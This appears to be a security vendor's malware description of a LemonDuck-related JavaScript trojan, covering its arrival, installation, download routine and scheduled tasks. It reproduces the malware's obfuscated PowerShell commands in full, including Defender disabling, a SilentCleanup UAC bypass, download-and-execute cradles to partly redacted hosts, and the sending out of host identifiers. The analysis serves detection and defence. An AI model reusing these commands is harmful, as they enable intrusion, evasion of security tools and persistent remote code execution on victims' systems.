Trojan.JS.FLEMSDUCK.YPAD-A

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\cmd.exe" /c start /b notepad {malware full path} & powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://{BLOCKED}.{BLOCKED}q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://{BLOCKED}.{BLOCKED}q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://{BLOCKED}.{BLOCKED}q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}"
• %System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
• "%System%\schtasks.exe" /delete /tn Rtsa2 /F
• "%System%\schtasks.exe" /delete /tn Rtsa1 /F
• "%System%\schtasks.exe" /delete /tn Rtsa /F

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.com/a.jsp -> downloads and executes a script which contains a powershell command indicating the download URL for the payload
• http://{BLOCKED}.{BLOCKED}x.com/a.jsp -> downloads and executes a script which contains a powershell command indicating the download URL for the payload
• http://{BLOCKED}.{BLOCKED}a.com/a.jsp -> downloads and executes a script which contains a powershell command indicating the download URL for the payload
• http://{BLOCKED}.{BLOCKED}g.com/if.bin -> downloads and executes its payload which is detected as Worm.PS1.LEMONDUCK.MC
• http://{BLOCKED}.{BLOCKED}q.com/mail.jsp -> downloads and executes a script which is used to create and run scheduled tasks

It saves the files it downloads using the following names:

• %Temp%\if.bin -> detected as Worm.PS1.LEMONDUCK.MC

Other Details

This Trojan adds the following scheduled tasks:

• Name: blackball
  • Triggers: One Time, repeat every 2 hours indefinitely
  • Action: Start a program - blackball
• Name: {random name}
  • Triggers: One Time, repeat every 1 hour indefinitely
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'{BLOCKED}.{BLOCKED}'+'q.com';a($url+'/a.jsp?_{current date}?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• Name: {random name}
  • Triggers: One Time, repeat every 1 hour indefinitely
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'{BLOCKED}.{BLOCKED}'+'na.com';a($url+'/a.jsp?_{current date}?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• Name: {random name}\{random name}
  • Triggers: One Time, repeat every 1 hour indefinitely
  • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'{BLOCKED}.{BLOCKED}'+'nx.com';a($url+'/a.jsp?_{current date}?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))